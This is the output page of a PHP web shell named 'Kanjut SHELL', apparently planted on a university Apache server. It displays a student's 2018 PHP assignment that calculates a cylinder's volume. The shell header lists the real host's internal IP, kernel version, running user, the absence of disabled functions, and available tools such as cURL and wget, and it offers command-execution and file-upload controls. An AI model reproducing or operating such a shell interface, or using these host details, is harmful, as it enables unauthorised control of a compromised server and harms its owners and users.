Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.118.137.96
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/inieves/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/inieves/www/assignment1_B.php
<!--
	File: assignment1_B.php
	Assignment: 1B
	Due: Feb. 8, 2018
	Author: Ismael Nieves
	Goal: PHP code to calculate and output the volume of a cylinder with the radius of 1 and height of 2

-->
<HTML>
<BODY STYLE="background-color:black; color:gold; font-family:algerian;">
<CENTER>
<H2 STYLE="color:gold; font-size:200% broder:2px; border-style:solid; border-color:gold;">Volume Of A Cylinder </H2>
<HR>
<P> What is the volume of a cylinder with the radius of 1 and height of 2? </P>

<?php
//Calculation of the volume of a cylinder
	
	$r = 1;
	$h = 2;

	$v = M_PI * pow($r, 2) * $h;
	$ans = number_format($v, 2);
	print "The answer is $ans.";
	
?>

<P>
	<img src="https://fthmb.tqn.com/CDMoIIfMYL3PZXjTJ1EQQYi1bFA=/2000x1333/filters:no_upscale():fill(FFCC00,1)/GettyImages-168351254-57f1458a5f9b586c35188d14.jpg" width="400" height="400">



</CENTER>
</BODY>
</HTML>

Stv3n404 - 2023